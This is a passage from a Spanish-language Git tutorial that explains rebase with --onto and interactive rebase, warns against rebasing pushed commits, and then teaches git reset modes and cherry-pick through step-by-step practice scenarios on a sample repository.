¡Exactamente lo que queríamos! En paul_branch, tenemos "Commit 9" (por supuesto, es un objeto distinto que el "Commit 9" original). Este objeto apunta a "Commit 7+8", el cual es una confirmación única que introduce los cambios del "Commit 7" original y el "Commit 8" original. El antecesor de la confirmación es "Commit 4", a donde main está apuntando.

Oh wow, ¿no es genial? 😎

git rebase te concede control sin límites sobre la figura de cualquier rama. Puedes usarlo para re-ordenar confirmaciones, o para quitar cambios incorrectos, o modificar un cambio en retrospectiva. Alternativamente, tal vez podrías mover la base de tu rama en otra confirmación, cualquier confirmación que desees.

Cómo usar el conmutador --onto de git rebase

Consideremos un ejemplo más. Vuelve a main nuevamente:

git checkout main

Y elimina los punteros de paul_branch y john_branch así ya no los ves en el gráfico de la confirmación:

git branch -D paul_branch
git branch -D john_branch

Luego, haz una nueva rama desde main:

git checkout -b new_branch

Este es el historial limpio que deberías tener:

Ahora, cambia el archivo code.py (por ejemplo, agrega una nueva función) y confirma tus cambios:

nano code.py

git add code.py
git commit -m "Commit 10"

Vuelve a main:

git checkout main

E introduce otro cambio - agregando una cadena de documentos al principio del archivo:

Es tiempo de poner en el área de preparación y confirmar estos cambios:

git add code.py
git commit -m "Commit 11"

Y aún otro cambio, tal vez agrega @Author a la cadena de documentos:

Confirma este cambio también:

git add code.py
git commit -m "Commit 12"

Oh espera, ahora me doy cuenta que quería que tú hicieras los cambios introducidos en "Commit 11" como parte de new_branch. Ugh. ¿Qué puedes hacer?

Considera el historial:

En vez de tener que "Commit 11" resida solamente en la rama main, quiero que esté en ambas ramas main y new_branch. Visualmente, quisiera moverlo hacia abajo en el gráfico aquí:

¿Puedes ver a dónde estoy yendo? 😇

Bueno, rebase te permite básicamente repetir los cambios introducidos en new_branch, aquellos introducidos en "Commit 10", como si hayan sido originalmente realizados sobre "Commit 11", en vez de "Commit 4".

Para hacer eso, puedes usar otros argumentos de git rebase. Específicamente, puedes usar git rebase --onto, el cual opcionalmente toma tres parámetros:

git rebase --onto <new_parent> <old_parent> <until>

Eso es, tomas todas las confirmaciones entre old_parent y until, y los "cortas" y "pegas" en new_parent.

En este caso, le dirías a Git que quieres tomar todo el historial introducidos entre el ancestro común de main y new_branch, el cual es "Commit 4", y que sea la nueva base para ese historial "Commit 11". Para hacer eso, usa:

git rebase --onto <SHA_OF_COMMIT_11> main new_branch

¡Y mira nuestro hermoso historial! 😍

Consideremos otro caso.

Digamos que empecé a trabajar en una nueva característica, y por error comencé a trabajar desde feature_branch_1, en lugar de main.

Así que para emular esto, crea feature_branch_1:

git checkout main
git checkout -b feature_branch_1

Y elimina new_branch así ya no lo ves en el gráfico:

git branch -D new_branch

Crea un archivo Python sencillo llamado 1.py:

Pónlo en el área de preparación y confirma este archivo:

git add 1.py
git commit -m  "Commit 13"

Ahora haz una nueva rama desde feature_branch_1 (este es el error arreglará luego):

git checkout -b feature_branch_2

Y crea otro archivo, 2.py:

Pónlo en el área de preparación y confirma este archivo también:

git add 2.py
git commit -m  "Commit 14"

E introduce algo de código a 2.py:

Pónlo en el área de preparación y confirma estos cambios también:

git add 2.py
git commit -m  "Commit 15"

Hasta ahora tendrías este historial:

Vuelve a feature_branch_1 y edita 1.py:

git checkout feature_branch_1

Ahora pónlo en el área de preparación y confirma:

git add 1.py
git commit -m  "Commit 16"

Tu historial debería lucir así:

Digamos que ahora te das cuenta que cometiste un error. En realidad querías que feature_branch_2 naciera de la rama main, en vez de feature_branch_1.

¿Cómo puedes lograr eso?

Trata de imaginarlo dado el gráfico del historial y lo que has aprendido sobre el argumento --onto para el comando rebase.

Bueno, quieres "reemplazar" el antecesor de tu primera confirmación en feature_branch_2, el cual es "Commit 14", que está por encima de la rama main - en este caso, "Commit 12" - en vez del comienzo de feature_branch_1 - en este caso, "Commit 13". Así que devuelta, estarás creando una nueva base, esta vez para la primera confirmación en feature_branch_2.

¿Cómo harías eso?

Primero, cambia a feature_branch_2:

git checkout feature_branch_2

Y ahora puedes usar:

git rebase --onto main <SHA_OF_COMMIT_13>

Esto le dice a Git que tome el historial con "Commit 13" como una base, y cambia esa base para que sea "Commit 12" (apuntado por main).

Como resultado, tienes a feature_branch_2 que tiene su base en main en vez de feature_branch_1:

La sintaxis del comando es:

git rebase --onto <new_parent> <old_parent>

Cómo hacer rebase en una sola rama

También puedes usar git rebase mientras miras el historial de una sola rama.

Veamos si puedes ayudarme aquí.

Digamos que trabajé en feature_branch_2, específicamente edité el archivo code.py. Comencé cambiando todas las cadenas para que sean envueltos por doble comillas en vez de comillas simples.

Luego, los puse en el área de preparación y los confirmé:

git add code.py
git commit -m "Commit 17"

Luego decidí agregar una nueva función al principio del archivo:

Nuevamente, los puse en el área de preparación y confirmé:

git add code.py
git commit -m "Commit 18"

Y ahora me doy cuenta que en realidad me olvidé de cambiar las comillas simples a comillas dobles envolviendo a __main__ (como has notado), así que hice eso también:

Por supuesto. puse este cambio en el área de preparación y confirmé:

git add code.py
git commit -m "Commit 19"

Ahora, considera el historial:

¿No es genial, no? O sea, tengo dos confirmaciones que están relacionados el uno al otro, "Commit 17" y "Commit 19" (cambiando los ' a "), pero están separados por "Commit 18" que no está relacionado (donde agregué una nueva función). ¿Qué podemos hacer? ¿Puedes ayudarme?

Intuitivamente, quiero editar el historial aquí:

Así que, ¿qué harías?

¡Exacto!

Puedo hacer rebase del historial de "Commit 17" a "Commit 19", por encima de "Commit 15". Para hacer eso:

git rebase --interactive --onto <SHA_OF_COMMIT_15> <SHA_OF_COMMIT_15>

Fíjate que especifiqué "Commit 15" como el comienzo del rango de confirmaciones, excluyendo esta confirmación. Y no necesité especificar explícitamente a HEAD como el último parámetro.

(Nota: si sigues los pasos de arriba con mi repositorio y obtienes un conflicto de fusión, podrías tener una configuración distinta al de mi máquina debido a los caracteres de espacio en blanco en las líneas finales. En ese caso, puedes agregar el argumento --ignore-whitespace) al comando rebase, resultando en el siguiente comando: git rebase --ignore-whitspace --interactive --onto <SHA_OF_COMMIT_15> <SHA_OF_COMMIT_15>. Si quisieras saber más sobre este problema, busca autocrlf.)

Después de seguir tu consejo y ejecutar el comando rebase (¡gracias! 😇) obtengo la siguiente pantalla:

Así que, ¿qué haría? Quiero poner a "Commit 19" antes de "Commit 18", de esa forma viene después de "Commit 17". Puedo ir más lejos y hacer squash (aplastarlos juntos), así:

Ahora cuando se me aparece una ventana para un mensaje de confirmación, puedo proveer el mensaje "Commit 17+19":

Y ahora, mira nuestro hermoso historial:

¡Gracias nuevamente!

Más casos de uso de Rebase + Más práctica

Por ahora espero que te sientas cómodo con la sintaxis de rebase. La mejora forma de entenderlo en sí es considerar varios casos y averiguar cómo resolverlos tú mismo.

Con los casos que vienen, te recomiendo enérgicamente que dejes de leer después de lo que introduje en cada caso de uso, y luego intentes resolverlo por ti mismo.

Cómo excluir confirmaciones

Digamos que tienes este historial en otro repo:

Antes de jugar con él, almacena una etiqueta a "Commit F" así puedes recuperarlo más tarde:

git tag original_commit_f

(Una etiqueta es una referencia nombrada a una confirmación, como una rama - pero no cambia cuando agregas confirmaciones adicionales. Es como una referencia nombrada constante.)

Ahora, en realidad no quieres los cambios en "Commit C" y "Commit D" que sean incluidos. Podrías usar un rebase interactivo como antes y quitar sus cambios. O, podrías usar git rebase --onto de nuevo. ¿Cómo usarías --onto para "quitar" estas dos confirmaciones?

Puedes hacer rebase de HEAD por encima de "Commit B", donde el antecesor viejo era en realidad "Commit D", y ahora debería ser "Commit B". Considera el historial nuevamente:

Hacer rebase para que "Commit B" sea la base de "Commit E" significa "mover" ambos "Commit E" y "Commit F", y darles otra base - "Commit B". ¿Puedes idearte el comando tú mismo?

git rebase --onto <SHA_OF_COMMIT_B> <SHA_OF_COMMIT_D> HEAD

Fíjate que usar la sintaxis de arriba (exactamente como se proveyó) no haría que main apunte a la nueva confirmación, para que el resultado sea un HEAD "separado". Si usas gg u otra herramienta que muestra el historial alcanzable desde las ramas, te podría confundir:

Pero si simplemente usas git log (o mi alias git lol), verás el historial deseado:

No sé tú, pero este tipo de cosas me hacen realmente feliz. 😊😇

Por cierto, podría omitir el HEAD del comando previo como si este fuera el valor predeterminado para el tercer parámetro. Así que usar:

git rebase --onto <SHA_OF_COMMIT_B> <SHA_OF_COMMIT_D>

Tendría el mismo efecto. El último parámetro en realidad le dice a Git donde está el final de la secuencia actual de las confirmaciones para hacerles rebase. Así que la sintaxis de git rebase --onto con los tres argumentos es:

git rebase --onto <new_parent> <old_parent> <until>

Cómo mover confirmaciones a través de las ramas

Así que digamos que obtenemos el mismo historial que antes:

git checkout original_commit_f

Y ahora quiero solamente que "Commit E" esté en una rama que tenga su base en "Commit B". Eso es, quiero tener una nueva rama, que venga desde "Commit B", que tenga solamente a "Commit E".

Así que, ¿qué significa esto en términos de rebase? Considera la imagen de arriba. ¿Qué confirmación (o confirmaciones) debería hacer rebase, y qué confirmación debería ser la nueva base?

Sé que puedo contar contigo aquí 😉

Lo que quiero es tomar el "Commit E", y solamente esta confirmación, y cambiar su base para que sea "Commit B". En otras palabras, repetir los cambios introducidos en "Commit E" en "Commit B".

¿Puedes aplicar esa lógica a la sintaxis de git rebase?

Aquí está (esta vez estoy escribiendo <COMMIT_X> en vez de <SHA_OF_COMMIT_X>, para brevedad):

git rebase --onto <COMMIT_B> <COMMIT_D> <COMMIT_E>

Ahora el historial luce así:

Fíjate que rebase movió a HEAD, pero ninguna otra referencia nombrada (tales como una rama o una etiqueta). En otras palabras, estás en un estado de HEAD separado. Así que aquí también, usando gg u otra herramienta que muestre el historial alcanzable desde las ramas y de las etiquetas te podría confundir. Puedes usar git log (o mi alias git lol) para mostrar el historial alcanzable desde HEAD.

¡Genial!

Una Nota sobre los Conflictos

Fíjate que cuando haces un rebase, podrías entrar en conflictos así como al fusionar. Podrías tener conflictos porque, cuando haces rebase, estás intentando aplicar parches en una base distinta, tal vez donde los parches no apliquen.

Por ejemplo, considera el repositorio nuevamente, y específicamente, considera el cambio introducido en "Commit 12", que es apuntado por main:

git show main

Ya cubrí el formato de git diff en detalle en el capítulo 6, pero como un recordatorio rápido, esta confirmación le instruye a Git que agregue una línea después de las dos líneas de contexto:

```
This is a sample file

Y antes de estas tres líneas de contexto:

```
def new_feature():
  print('new feature')

Digamos que estás intentando hacer rebase de "Commit 12" en otra confirmación. Si, por alguna razón, estas líneas de contexto no existen como sí existen en el parche de la confirmación en la que estás haciendo rebase, entonces tendrías un conflicto.

Aléjandose para ver el panorama general

Al principio de este capítulo, comencé mencionando la similaridad entre git merge y git rebase: ambos son usados para integrar cambios introducidos en historiales distintos.

Pero, como ahora sabes, son muy distintos en cómo operan. Mientras se fusionan resultados en un historial divergente, hacer rebase resulta en un historial linear. Los conflictos son posibles en ambos casos. Y hay una columna más descrita en la tabla de arriba que requiere más atención.

Ahora que sabes qué es "Git rebase", y cómo usar el rebase interactivo o rebase --onto, como espero que estés de acuerdo, git rebase es una herramienta super poderosa. Aunque, tiene una desventaja grande cuando se compara con fusionar.

Git rebase cambia el historial.

Esto significa que no deberías hacer rebase de las confirmaciones que existen fuera de tu copia local del repositorio, y que otras personas podrían tener su base en sus confirmaciones.

En otras palabras, si sólo las confirmaciones en cuestión son aquellos que creaste de manera local - adelante, use rebase, enloquécete.

Pero si las confirmaciones han sido empujados (enviados), eso puede llevarte a un gran problema - ya que alguien más podría basarse en estas confirmaciones que tu luego sobreescribas, y después tú y ellos tendrás distintas versiones del repositorio.

Esto es distinto a merge el cual, como hemos visto, no modifica el historial.

Por ejemplo, considera el último caso donde cambiamos la base y resultó en este historial:

Ahora, digamos que ya empujé esta rama al remoto. Y después que he empujado la rama, otro desarrollador lo empujó e hizo una rama desde "Commit C". El otro desarrollador no sabía que mientras tanto, estuve haciendo rebase de mi rama de forma local, y luego lo subiría (empujaría) nuevamente.

Esto resulta en una inconsistencia: el otro desarrollador trabaja desde una confirmación que ya no está disponible en mi copia del repositorio.

No elaboraré exactamente lo que esto causa en este libro, ya que mi mensaje principal es que deberías evitar definitivamente tales casos. Si estás interesado en qué sucedería en sí, te dejaré un enlace a un recurso útil en las referencias adicionales. Por ahora, resumamos lo que hemos cubierto.

Recapitulación - Entendiendo Git rebase

En este capítulo, aprendiste sobre git rebase, una herramienta super poderosa para reescribir el histoiral en Git. Consideraste unos pocos casos donde git rebase puede ser útil, y cómo usarlo en uno, dos, o tres parámetros, con y sin el conmutador --onto.

Espero que haya sido capaz de convencerte que git rebase es poderoso - pero también que es bastante sencillo una vez que entiendes la esencia. Es una herramienta que puedes usar para "copiar-pegar" confirmaciones (o, más acertadamente, parches). Y es una herramienta útil para tener en tu cinto. En esencia, git rebase toma los parches introducidos por las confirmaciones, y repetirlos en un otra confirmación. Como se describió en este capítulo, esto es útil en muchos escenarios distintos.

Parte 2 - Resumen

En esta parte aprendiste a hacer ramas e integrar cambios en Git.

Aprendiste lo que es un diff, y la diferencia entre un diff y un parche. También aprendiste cómo se construye la salida de git diff.

Entender los diffs es un hito mayor para entender muchos otros procesos dentro de Git tales como fusionar o hacer rebase.

Después, tuviste una vista general extensiva sobre fusionar con Git. Aprendiste que la fusión es el proceso de combinar los cambios recientes de varias ramas en una sola nueva confirmación. La nueva confirmación tiene múltiples antecesores - esas confirmaciones han sido las puntas de las ramas que fueron fusionadas. En la mayoría de los casos, la fusión combina los cambios de dos ramas, y entonces la confirmación de fusión resultante tiene dos predecesores - uno de cada rama.

Consideramos una fusión sencilla y directa, la cual es posible cuando una rama difiere de la rama base, y luego agregamos confirmaciones por encima de la rama base.

Después consideramos fusiones de tres vías, y explicamos el proceso de tres etapas:

• Primero, Git localiza la base de fusión. Como recordatorio, este es la primera confirmación que es alcanzable desde ambas ramas.
• Segundo, Git calcula dos diffs - un diff desde la base de fusión a la primer rama, y otro diff desde la base de fusión a la segunda rama. Git genera parches basados en esos diffs.
• Tercero y último, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.

Viste la salida de git diff cuando estamos en un estado de conflicto, y cómo resolver conflictos sea de forma manual o con VS Code.

Por último, aprendiste Git rebase. Viste que git rebase es poderoso - pero también es bastante sencillo una vez que entiendes lo que hace. Es una herramienta para "copiar-pegar" confirmaciones (o, más específicamente, parches).

Ambos git merge y git rebase se usan para integrar cambios introducidos en diferentes historiales.

Aunque, difieren en cómo operan. Mientras que la fusión resulta en un historial divergente, los resultados de hacer rebase resulta en un historial linear. git rebase cambia el historial, mientras que git merge agrega al historial existente.

Con este entendimiento profundo de diffs, parches, fusión y rebase, deberías sentirte confiado al introducir cambios a un repositorio git.

La próxima parte se enfocará en lo que sucede cuando las cosas salen mal - cómo puedes cambiar el historial (con o sin git rebase), o encontrar confirmaciones "perdidas".

Parte 3 - Deshacer cambios

Alguna vez llegaste a un punto donde dijiste: "Oh-oh, ¿qué es lo que hice?" Supongo que lo hiciste, así como cualquiera que usa Git.

Tal vez confirmaste a la rama equivocada. Tal vez perdiste algo de código que has escrito. Tal vez confirmaste algo que no era tu intención de hacer.

Esta parte te dará las herramientas para reescribir el historial con confianza, de esa forma "deshacer" todo tipos de cambios en Git.

Así como las otras partes del libro, esta parte será practica aunque a profundidad - así que en vez de proveerte una lista de qué a hacer cuando las cosas salen mal, entenderemos los mecanismos subyacentes, así te sentirás confiable cuando sea que llegues al momento "oh-oh". En realidad, encontrarás estos momentos como oportunidades para un desafió interesante, en vez de un escenario espantoso.

Capítulo 9 - Git Reset

Nuestro trayecto comienza con un comando potente que puede ser usado para deshacer muchas diferentes acciones con Git - git reset.

Un pequeño recordatorio - Registrando cambios

En el capítulo 3, aprendiste cómo registrar cambios en Git. Si recuerdas todo de esta parte, puedes saltar la próxima sección.

Es útil imaginarse a Git como un sistema para registrar copias instantáneas de un sistema de archivos en el tiempo. Considerando un repositorio de Git, tiene tres "estados" o "árboles":

1. El directorio de trabajo, un directorio que tiene un repositorio asociado.
2. El área de preparación (índice) el cual tiene el árbol para la próxima confirmación.
3. El repositorio, el cual es una colección de confirmaciones y referencias.

Fíjate que con respecto a las convenciones de dibujo que utilizo: incluyo .git dentro del directorio de trabajo, para recordarte es una carpeta dentro de la carpeta del proyecto en el sistema de archivos. La carpeta .git en realidad contiene los objetos y las referencias del repositorio, como se explicó en el capítulo 4.

Demostración práctica

Usa git init para inicializar un nuevo repositorio. Escribe algo de texto en un archivo llamado 1.txt:

mkdir my_repo
cd my_repo
git init
echo Hello world > 1.txt

De los tres estados descritos arriba, ¿dónde está 1.txt ahora?

En el árbol de trabajo, ya que todavía no ha sido introducido al índice.

Para ponerlo en área de preparación, para agregarlo al índice, usa:

git add 1.txt

Fíjate que una vez que pones en el área de preparación 1.txt, Git crea un objeto blob con el contenido de este archivo, y lo agrega a la base de datos de objetos interno (dentro de la carpeta .git), como se cubrió en el capítulo 3 y capítulo 4. No lo dibujo como parte del "repositorio" ya que en esta representación, el "repositorio" se refiere a un árbol de confirmaciones y sus referencias, y este blob no ha sido parte de ninguna confirmación.

Ahora, usa git commit para confirmar tus cambios al repositorio:

git commit -m "Commit 1"

Creaste un nuevo objeto de confirmación, el cual incluye un puntero a un árbol que describe todo el árbol de trabajo. En este caso, este árbol consiste solamente de 1.txt dentro de la carpeta raíz. Además de un puntero al árbol, el objeto de confirmación incluye metadatos, tales como marcas de tiempo e información del autor.

Cuando se considera los diagramas, fíjate que solamente tenemos una sola copia del archivo 1.txt en el disco, y un objeto blob correspondiente en la base de datos de objetos de Git. El árbol del "repositorio" ahora muestra este archivo ya que es parte de la confirmación activa - eso es, el objeto de confirmación "Commit 1" apunta a un árbol que apunta al blob con los contenidos de 1.txt, el mismo blob al que el índice está apuntando.

Para más información sobre los objetos en Git (tales como confirmaciones y árboles), ve al capítulo 1.

Luego, crea un nuevo archivo, y agrégalo al índice, como antes:

echo second file > 2.txt
git add 2.txt

Luego, confirma:

git commit -m "Commit 2"

Muy importante, git commit hace dos cosas:

Primero, crea un objeto de confirmación, así que hay un objeto dentro de la base de datos de objetos interno de Git con un valor SHA-1 correspondiente. Este nuevo objeto de confirmación también apunta a la confirmación antecesor. Ese es la confirmación al que HEAD estaba apuntando cuando escribiste el comando git commit.

Segundo, git commit mueve el puntero de la rama activa – en nuestro caso, eso sería main, a que apunte al objeto de confirmación creado recientemente.

Introduciendo git reset

Ahora aprenderás cómo revertir el proceso de introducir una confirmación. Para eso, aprenderás el comando git reset.

git reset --soft

El último paso que hiciste antes fue git commit, el cual en realidad significa dos cosas – Git creó un objeto de confirmación y movió a main, la rama activa. Para deshacer este paso, usa el siguiente comando:

git reset --soft HEAD~1

La sintaxis HEAD~1 se refiere al primer antecesor de HEAD. Considera un caso donde tenía más de una confirmación en el gráfico de confirmaciones, digamos que "Commit 3" está apuntando a "Commit 2", el cual, en sí, está apuntando a "Commit 1". Y considera que HEAD estaba apuntando a "Commit 3". Podrías usar HEAD~1 para referirte a "Commit 2", y HEAD~2 se referiría a "Commit 1".

Así que, devuelta al comando: git reset --soft HEAD~1.

Este comando le pide a Git que cambie cualquier HEAD al que está apuntando. (Nota: En los diagramas de abajo, uso *HEAD para "cualquier HEAD al que está apuntando".) En nuestro ejemplo, el HEAD está apuntando a main. Así que Git solamente cambiará el puntero de main a que apunte a HEAD~1. Eso es, main apuntará al "Commit 1".

Sin embargo, este comando no afectará el estado del índice o el árbol de trabajo. Así que si usas git status verás que 2.txt está en el área de preparación, justo como antes que ejecutaste git commit:

El estado es ahora:

(Nota: quité 2.txt del "repositorio" en el diagrama ya que no es parte de la confirmación activa - eso es, el árbol apuntado por el "Commit 1" no referencia a este archivo. Sin embargo, no ha sido quitado del sistema de archivos - ya que existe en el árbol de trabajo y el índice.)

¿Qué hay sobre git log? Comenzará desde el HEAD, va al main, y luego a "Commit 1":

Fíjate que esto significa que "Commit 2" ya no es alcanzable desde nuestro historial.

¿Eso significa que el objeto de confirmación de "Commit 2" se elimina?

No, no se elimina. Todavía residen dentro de la base de datos de objetos interno de Git.

Si subes el historial actual ahora, usando git push, Git no empujará el "Commit 2" al servidor remoto (ya que no es alcanzable desde el HEAD actual), pero el objeto de confirmación todavía existe en tu copia local del repositorio.

Ahora, confirma nuevamente - y use el mensaje de confirmación de "Commit 2.1" para diferenciar este nuevo objeto desde el "Commit 2" original:

git commit -m "Commit 2.1"

Este el estado resultante:

Omití el "Commit 2" ya que no es alcanzable desde el HEAD, aunque su objeto existe en la base de datos de objetos interno de Git.

¿Por qué "Commit 2" y "Commit 2.1" son distintos? Inclusive si usáramos el mismo mensaje de confirmación, y aunque apunten al mismo objeto de árbol (de la carpeta raíz consistiendo de 1.txt y 2.txt), todavía tienen distintas marcas de tiempo, ya que fueron creados en diferentes tiempos. Ambos "Commit 2" y "Commit 2.1" ahora apuntan a "Commit 1", sino que solamente "Commit 2.1" es alcanzable desde el HEAD.

git reset --mixed

Es tiempo de deshacer aún mas allá. Esta vez, usa:

git reset --mixed HEAD~1

(Nota: --mixed es el conmutador predeterminado para git reset.)

Este comando comienza de la misma forma que git reset --soft HEAD~1. Eso es, el comando toma el puntero de cualquier HEAD que está apuntando ahora, el cual es la rama main, y lo establece a HEAD~1, en nuestro ejemplo - "Commit 1".

Luego, Git va más allá, efectivamente deshaciendo los cambios que hicimos al índice. Eso es, cambiar el índice para que coincida con el HEAD actual, el nuevo HEAD después de establecerlo en el primer paso.

Si ejecutáramos git reset --mixed HEAD~1, entonces el HEAD (main) sería puesto al HEAD~1 ("Commit 1"), y luego Git coincidiría el índice al estado de "Commit 1" - en este caso, significa que 2.txt ya no sería parte del índice.

Es tiempo de crear una nueva confirmación con el estado del "Commit 2" original. Esta vez necesita poner en el área de preparación a 2.txt nuevamente antes de crearlo:

git add 2.txt
git commit -m "Commit 2.2"

De forma similar a "Commit 2.1", "nombro" a esta confirmación "Commit 2.2" para diferenciarlo del del "Commit 2" original o "Commit 2.1" - estas confirmaciones resultan en el mismo estado que el "Commit 2" original, pero son distintos objetos de confirmación.

git reset --hard

Continúa, ¡deshaz aún más!

Esta vez, usa el conmutador --hard, y ejecuta:

git reset --hard HEAD~1

Una vez más, Git comienza con el paso --soft, estableciendo cualquier HEAD que esté apuntando a (main), a que apunte a HEAD~1 ("Commit 1").

Luego, moviéndonos al siguiente paso --mixed, coincidiendo con el índice con HEAD. Eso es, Git deshace el paso de 2.txt.

Luego viene el paso de --hard, donde Git va mas allá y coincide con el directorio de trabajo con la etapa del índice. En este caso, significa también quitar 2.txt del directorio de trabajo.

(Nota: en este caso específico, el archivo no está registrado, así que no será eliminado del sistema de archivos; no es realmente importante para entender git reset.)

Así que para introducir un cambio en Git, tienes tres pasos: cambias el directorio de trabajo, el índice, o el área de preparación, y luego confirmas una nueva copia instantánea con esos cambios. Para deshacer estos cambios:

• Si usamos git reset --soft, deshacemos el último paso.
• Si usamos git reset --mixed, también deshacemos el paso del copia instantánea.
• Si usamos git reset --hard, deshacemos los cambios al directorio de trabajo.

Escenarios de la vida real

Escenario #1

Así que en un escenario de la vida real, escribe "I love Git" en un archivo (love.txt), ya que todos amamos Git 😍. Adelante, pónlo en el área de preparación y confirmas esto también:

echo I love Git > love.txt
git add love.txt
git commit -m "Commit 2.3"

También, guarda una etiqueta así puedes volver a esta confirmación más tarde si es necesario:

git tag scenario-1

Oh, oops!

En realidad, no quería que lo confirmaras.

Lo que en realidad quería que hicieras era escribir algunas otras palabras lindas en este archivo antes de confirmarlo.

¿Qué puedes hacer?

Bueno, una forma de superar esto sería usar git reset --mixed HEAD~1, efectivamente deshaciendo tanto la confirmación y las acciones del área de preparación que tomaste:

git reset --mixed HEAD~1

Así que main apunta a "Commit 1" nuevamente, y love.txt ya no es una parte del índice. Sin embargo, el archivo permanece en el directorio de trabajo. Ahora puedes agregarle mas contenido:

echo and Gitting Things Done >> love.txt

Pónlo en el área de preparación y confirma tu archivo:

git add love.txt
git commit -m "Commit 2.4"

¡Bien hecho!

Lo tienes claro, lindo historial de "Commit 2.4" apuntando a "Commit 1".

Ahora tienes una nueva herramienta en tu caja de herramientas, git reset.

Esta herramienta es super, super útil, y puedes logar casi cualquier cosa con él. No es siempre la herramienta más conveniente, pero es capaz de resolver casi cualquier escenario de reescritura de historial si lo usas con cuidado.

Para principiantes, te recomiendo usar solamente git reset para casi cualquier vez que quieras deshacer en Git. Una vez que te sientas cómodo con él, continúa con otras herramientas.

Escenario #2

Consideremos otro caso.

Crea un nuevo archivo llamado new.txt; pónlo en el área de preparación y confirma:

echo this is a new file > new.txt
git add new.txt
git commit -m "Commit 3"

(Nota: En el dibujo omití los archivos del repositorio para evitar desorden. Commit 3 incluye 1.txt, love.txt y new.txt en esta etapa.)

Ups. En realidad, eso es un error. Estabas en main, y quería que crearas esta confirmación en una rama feature. Mi culpa 😇

Hay dos herramientas mas importantes que quiero que tomes de este capítulo. El segundo es git reset. El primero y el más importante es limpiar el estado actual versus el estado en el que quieres que esté.

Para este escenario, el estado actual y el estado deseado lucen así:

(Nota: En las diagramas siguientes, me referiré al estado actual como el estado "original" - antes de empezar el proceso de reescribir el historial.)

Notarás tres cambios:

1. main apunta a "Commit 3" (el azul) en el estado actual, pero apunta a "Commit 2.4" en el estado deseado.
2. feature_branch no existe en el estado actual, aunque existe y apunta al "Commit 3" en el estado deseado.
3. HEAD apunta a main en el estado actual, y apunta a feature_branch en el estado deseado.

Si lo puedes dibujar y sabes cómo usar git reset, puedes definitivamente salir de esta situación.

Así que nuevamente, lo más importante es tomar un respiro y dibujarlo.

Observando el dibujo de arriba, ¿cómo llegas al estado deseado del estado actual?

Hay unas pocas formas por supuesto, pero te presentaré una opción solamente para cada escenario. Siéntete libre de jugar con otras opciones también.

Puedes comenzar usando git reset --soft HEAD~1. Esto pondría a main a que apunte a la confirmación previa, "Commit 2.4":

git reset --soft HEAD~1

Mirando el diagrama actual-vs-deseado (original-vs-desired) nuevamente, puedes ver que necesitas una nueva rama, ¿no? Puedes usar git switch -c feature_branch para eso, o git checkout -b feature_branch (el cual hace lo mismo):

git switch -c feature_branch

Este comando también actualiza el HEAD a que apunte a la nueva rama.

Ya que usaste git reset --soft, no cambiaste el índice, así que actualmente tiene exactamente el estado que quieres confirmar - ¡qué conveniente! Puedes simplemente confirmar a feature_branch:

git commit -m "Commit 3.1"

Y llegas al estado deseado.

Escenario #3

¿Listo para aplicar tus conocimientos para casos adicionales?

Todavía en feature_branch, agrega algunos cambios a love.txt, y crea un nuevo archivo llamado cool.txt. Pónlos en el área de preparación y confirma:

echo Some changes >> love.txt
echo Git is cool > cool.txt
git add love.txt
git add cool.txt
git commit -m "Commit 4"

Oh, ups, en realidad quería que crearas dos confirmaciones separadas, una con cada cambio...

¿Quieres intentar este por ti mismo (antes de seguir leyendo)?

Puedes deshacer los pasos de confirmación y del área de preparación:

git reset --mixed HEAD~1

Siguiendo este comando, el índice ya no incluye esos dos cambios, pero todavía están en tu sistema de archivos:

Así que ahora, si solamente pones en el área de preparación a love.tx, puedes confirmarlo de forma separada:

git add love.txt
git commit -m "Love"

Luego, haz lo mismo para cool.txt:

git add cool.txt
git commit -m "Cool"

¡Genial!

Escenario #4

Para limpiar el estado, cambia a main y usa reset --hard para hacer que apunte a "Commit 3.1", mientras pones el índice y el directorio de trabajo al estado de "Commit 3.1":

git checkout main
git reset --hard <SHA_OF_COMMIT_3_1>

Crea otro archivo (another.txt) con algo de texto, y agrega algo de texto a love.txt. Pónlos en el área de preparación ambos cambios, y confirmarlos:

echo Another file > another.txt
echo More love >> love.txt
git add another.txt
git add love.txt
git commit -m "Commit 4.1"

Este debería ser el resultado:

Ups...

Así que esta vez, quería que esté en otra rama, pero no una nueva rama, sino - una rama ya existente.

Así que, ¿qué puedes hacer?

Te daré una pista. La respuesta es realmente corta y fácil. ¿Qué hacemos primero?

No, no reset. Dibujemos. Esto es lo primero en hacer, ya que haría todo lo demás más fácil. Así que este es el estado actual:

¿Y el estado deseado?

¿Cómo obtienes el estado actual al estado deseado, qué sería más fácil?

Una forma sería usar git reset como hiciste antes, pero hay otra forma que me gustaría intentar.

Fíjate que los siguientes comandos en sí asumen que la rama existing existe en tu repositorio, aunque no lo has creado anteriormente. Para coincidir un estado donde esta rama existe, puedes usar los siguientes comandos:

git checkout <SHA_OF_COMMIT_1>
git checkout -b existing
echo "Hello" > x.txt
git add x.txt
git commit -m "Commit X"
git checkout <SHA_OF_COMMIT_3_1> -- love.txt
git commit -m "Commit Y"
git checkout main

(El comando git checkout <SHA_OF _COMMIT_3_1> -- love.txt copia los contenidos de love.txt desde "Commit 3.1" al  índice y el directorio de trabajo, así puedes confirmarlo en la rama existing. Necesitamos el estado de love.txt en el "Commit Y" que sea lo mismo que "Commit 3.1" para evitar conflictos.)

Ahora tu historial debería coincidir con el que se muestra en la imagen con el subtítulo "Queremos que la confirmación "blue" esté en otra rama, existing".

Primero, haz que el HEAD apunte a la rama existente:

git switch existing

Intuitivamente, lo que quieres hacer es tomar los cambios introducidos en el "Commit 4.1", y aplicar estos cambios ("copiar-pegar") por encima de la rama exisitng. Y Git tiene una herramienta para eso.

Para pedirle a Git que tome los cambios introducidos entre una confirmación y su confirmación antecesor y sólo aplicar estos cambios en la rama activa, puedes usar git cherry-pick, un comando que introducimos en el capítulo 8. Este comando toma los cambios introducidos en la versión específicada y aplicarlos al estado de la confirmación activa. Ejecuta:

git cherry-pick <SHA_OF_COMMIT_4_1>

Puedes especificar el identificador SHA-1 de la confirmación deseada, pero también puedes usar git cherry-pick main,  como la confirmación cuyos cambios estás aplicando es al que está apuntando main.

git cherry-pick también crea un nuevo objeto de confirmación, y actualiza la rama activa a que apunte a este nuevo objeto, así que el estado resultante sería:

Marco a la confirmación como "Commit 4.2" ya que tiene una marca de tiempo, un antecesor y un valor SHA-1 distinto de "Commit 4.1", aunque los cambios que introducen son los mismos.

